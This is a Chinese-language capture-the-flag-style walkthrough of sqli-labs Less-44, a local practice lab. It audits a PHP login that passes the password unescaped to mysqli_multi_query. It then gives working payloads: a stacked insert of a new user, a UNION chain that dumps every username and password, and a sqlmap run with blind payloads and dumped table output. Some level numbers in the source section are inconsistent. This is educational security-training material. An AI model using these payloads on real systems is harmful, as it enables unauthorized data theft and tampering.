sqli-labs通关笔记-第44关 POST字符型堆叠注入(单引号闭合 手工注入+脚本注入3种方法)
目录
一、堆叠注入
二、源码分析
1、代码审计
2、SQL注入安全性分析
三、堆叠手注法
1、进入靶场
2、正确用户名密码登录
3、堆叠注入
4、查看数据库
四、联合手注法
1、获取列数
2、确认回显位
3、获取数据库名
4、获取表名
5、获取列名
6、获取字段
7、总结
五、sqlmap渗透实战
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用堆叠手注、联合手注法、脚本法共3种方法对第44关Less 44基于POST字符型的堆叠注入关卡进行渗透实战。
一、堆叠注入
堆叠注入是一种特殊的SQL注入技术,攻击者通过在原始查询后添加分号(;),然后拼接额外的SQL语句实现多语句执行。与普通注入不同,堆叠注入允许攻击者一次执行多个完全独立的SQL命令,从而极大扩展了攻击面。这种技术的关键在于数据库服务器支持多语句执行,例如MySQL的mysqli_multi_query()函数或SQL Server的默认配置都允许这种操作。
分类 | 说明 |
---|---|
技术名称 | 堆叠注入(Stacked Injection) |
核心原理 | 通过在原始SQL查询后添加分号(; )拼接额外SQL语句,实现多语句连续执行。 |
攻击示例 | SELECT * FROM users WHERE id=1; DROP TABLE users-- |
关键依赖 | 数据库服务器需支持多语句执行(如MySQL的mysqli_multi_query() )。 |
典型危害 | 数据删除(DELETE )、表结构修改(ALTER )、权限提升(GRANT )等。 |
高危操作 | 执行任意数据库命令,远超普通注入的数据泄露范围。 |
常见支持场景 | SQL Server(默认支持)、MySQL(需特定驱动如PDO/mysqli启用多语句功能)。 |
不支持场景 | PHP的mysql_query() 函数(默认禁用多语句)。 |
防御措施 | 1. 禁用多语句执行功能 2. 严格使用参数化查询 3. 实施最小权限原则。 |
技术优势 | 可突破单语句限制,实现更复杂的数据库操作。 |
检测难度 | 较普通注入更难检测,需监控异常分号和多语句执行行为。 |
二、源码分析
1、代码审计
本关卡Less44是基于POST字符型的堆叠注入关卡,如下所示。
Less45关卡的login源码功能是简单基于用户名和密码的登录页面,与44关的区别在于SQL语句中参数的字符闭合方式不同,对比如下所示。
- 当 mysqli_store_result() 函数调用失败时,42关调用报错函数,43关不打印数据库报错。
- 当
mysqli_multi_query()
执行失败时,42关调用报错函数,43关不打印数据库报错。
详细注释过的login.php源码如下所示。
<?php
session_start(); // 开启会话管理
include("../sql-connections/db-creds.inc"); // 加载数据库配置/*** 用户登录验证函数* @param string $host 数据库地址* @param string $dbuser 数据库用户名* @param string $dbpass 数据库密码 * @param string $dbname 数据库名* @return string|int 成功返回用户名,失败返回0*/
function sqllogin($host,$dbuser,$dbpass, $dbname){// 建立数据库连接$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);// 获取并转义用户输入$username = mysqli_real_escape_string($con1, $_POST["login_user"]); // 用户名转义$password = $_POST["login_password"]; // 密码未转义(安全风险)// 连接检查if(mysqli_connect_errno($con1)) {echo "Failed to connect to MySQL: " . mysqli_connect_error();} else {@mysqli_select_db($con1, $dbname) or die("Database connection failed");}// 构造SQL查询(存在注入风险)$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";// 执行多语句查询(高危)if(@mysqli_multi_query($con1, $sql)) {// 处理查询结果if($result = @mysqli_store_result($con1)) {if($row = @mysqli_fetch_row($result)) {return $row[1] ? $row[1] : 0; // 返回用户名或0}} else {// 显示错误详情(不安全)echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>"; }} else {// 查询错误处理echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>"; }
}// 执行登录验证
$login = sqllogin($host,$dbuser,$dbpass, $dbname);if(!$login == 0) { // 登录成功$_SESSION["username"] = $login; // 存储会话setcookie("Auth", 1, time()+3600); // 设置1小时有效cookieheader('Location: logged-in.php'); // 跳转
} else { // 登录失败
?><!-- 失败提示 --><tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;"><center><img src="../images/slap1.jpg"> <!-- 错误图片 --></center></p></td></tr>
<?php } ?>
</body>
</html>
本关卡实现了一个简单的用户登录系统,但存在堆叠SQL注入的风险。系统通过表单接收用户名和密码,然后查询数据库进行验证,登录成功后设置会话cookie并跳转页面,失败则显示错误图片。系统在登录成功后,会将用户名存入session并设置一个简单的认证cookie。
-
前端展示:黑色背景、黄色文字的简单界面,含首页链接
-
会话启动:
session_start()
初始化会话 -
数据库连接:加载配置并建立MySQL连接
-
输入处理:用户名经过
mysqli_real_escape_string
转义,密码直接使用原始输入(高危) -
认证查询:拼接SQL查询用户凭证
-
结果处理:
-
成功:存储会话、设置cookie并跳转
-
失败:显示错误图片,不再打印数据库报错函数,说明无法使用报错法注入
-
2、SQL注入安全性分析
很明显本关卡存在堆叠查询(Stacked Query)SQL注入风险,主要的安全问题在于通过POST传入了两个参数,分别为用户名和密码。不过代码仅对用户名参数使用了mysqli_real_escape_string转义过滤,而对密码字段没有进行任何过滤处理,直接拼接到SQL语句中导致存在SQL注入风险。因此攻击者可以通过构造特殊密码来绕过认证或执行恶意SQL命令。此外,代码使用了支持多语句查询的mysqli_multi_query函数,进一步增加了堆叠注入的风险。具体如下所示。
-
堆叠注入存在根源:
-
使用
mysqli_multi_query()
函数执行SQL查询。 -
未对用户输入的
$password
进行任何过滤或转义。
-
-
堆叠注入利用方式:
-
通过分号(;)分隔可以执行多条SQL语句。
-
攻击者可执行任意SQL命令:
SELECT...; INSERT...; UPDATE...; DROP...
等。 -
支持所有数据库操作,不仅仅是数据查询。
-
闭合方式为单引号括号。
-
三、堆叠手注法
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page3堆叠注入,如下图红框所示。
其中第44关在堆叠挑战关卡“SQLi-LABS Page-3 (Stacked Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-2.html#fm_imagemap
点击上图红框的Less44关卡,进入到靶场的第44关卡字符型堆叠注入关卡,页面显示登录框,需要输入用户名和密码,具体如下所示。
http://192.168.59.1/sqli-labs/Less-44
2、正确用户名密码登录
输入用户名admin,密码mooyuan123456,效果如下所示。
查看元素-网络,此时点击登录后提示进入登录成功,当前用户为admin,此时进入了修改密码的页面,具体如下图所示。
此时发现登录过程中产生两个报文,第一个是登录的POST报文,参数分别为用户名和密码,效果如下所示。
此时注意登录报文POST参数内容如下所示。
login_user=admin&login_password=mooyuan123456&mysubmit=Login
将报文发送到repeater模块,右键将报文通过copy-to-file保存到sqli-labs44.txt。
第二个报文为logged-in.php,登录成功会重定向到此页面,如下所示。
此时点击login_out退出登录,如下所示。
点击退出登录后再次回到登录页面,如下所示
3、堆叠注入
根据源码分析可知本关卡具有堆叠注入安全风险,闭合方式为单引号,目标是通过堆叠注入命令插入一个新的用户,id为44,用户名为mooyuan_44,密码为mooyuan,此时密码内容如下所示。
mooyuan123456';insert into users(id,username,password) values ('44','mooyuan_44','mooyuan')#
输入用户名和密码后的页面如下所示。
这时候用户名设置为admin,点击登录后页面显示我们admin账户登录成功,渗透成功。
此时buipsuite中找到此POST报文,POST参数内容如下所示。
4、查看数据库
使用navicat查看数据库的users表,如下所示新增用户id为44,用户名为mooyuan_44,密码为mooyuan,说明渗透成功。
四、联合手注法
本关卡可以使用UNION联合注入渗透,注入语句如下所示。
1、获取列数
如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。
ORDER BY 3 成功 - 参数: mooyuan123456' ORDER BY 3--
ORDER BY 4 失败 - 参数: mooyuan123456' ORDER BY 4--
在burpsuite的repeater模块进行order by渗透,如下所示order by为3时渗透成功。
接下来尝试order by为4渗透,如下所示order by为4时渗透失败。
2、确认回显位
Payload: admin' UNION SELECT 1,2,3--
如下所示,回显位为2,接下来我们使用第2个回显位进行渗透。
3、获取数据库名
如下所示,数据库的名称为“security”。
Payload: admin' UNION SELECT 1,DATABASE(),3--
4、获取表名
如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。
Payload: admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--
5、获取列名
如下所示,数据库users表的列名分别为id,username,password。
Payload: admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--
6、获取字段
最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。
Payload: admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--
7、总结
本关卡使用联合注入法的完整手注语句如下所示。
[+] 第一步:获取最大列数
ORDER BY 3 成功 - 参数: mooyuan123456' ORDER BY 3--
ORDER BY 4 失败 - 参数: mooyuan123456' ORDER BY 4--
[+] 确定最大列数: 3[+] 第二步:确认回显
Payload: admin' UNION SELECT 1,2,3--
[+] 确定回显位: 2[+] 第三步:获取数据库名
Payload: admin' UNION SELECT 1,DATABASE(),3--
[+] 获取到数据库名: security[+] 第四步:获取数据库security的所有数据库表格tables
Payload: admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--
[+] 获取到数据库所有表名: emails,referers,uagents,users[+] 第五步:获取数据库security的users表的所有列名
Payload: admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--
[+] 获取到users表的所有列名:id,username,password[+] 第六步:获取数据库security的users表的所有username和password
Payload: admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--
[+] 获取users表用户名和密码:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:mooyuan123456,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4,admin'#mooyuan:123456,mooyuan_38:mooyuan,mooyuan_39:mooyuan,mooyuan_40:mooyuan,mooyuan_41:mooyuan,mooyuan_42:mooyuan,mooyuan_43:mooyuan,mooyuan_44:mooyuan
五、sqlmap渗透实战
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。
sqlmap -r sqli-labs44.txt --current-db --dump --batch
其中sqli-labs44.txt中的注入点被修改为如下所示,特别注意此时在login_password参数后面增加*字符,标识login_password为注入点。
POST /sqli-labs/Less-44/login.php HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-44/
Cookie: PHPSESSID=m0giifsk3g3t8p9p7j9g0klb42
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60login_user=admin&login_password=mooyuan123456*&mysubmit=Login
sqlmap渗透成功,可以通过布尔盲注、时间盲注等方法渗透成功,具体信息如下所示。
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 251 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: login_user=admin&login_password=mooyuan123456' AND 2034=2034 AND 'obKi'='obKi&mysubmit=LoginType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: login_user=admin&login_password=mooyuan123456' AND (SELECT 3121 FROM (SELECT(SLEEP(5)))eTBt) AND 'peKL'='peKL&mysubmit=Login
---
[21:58:06] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[21:58:06] [INFO] fetching current database
[21:58:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:58:06] [INFO] retrieved: securityTable: emails
[8 entries]
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+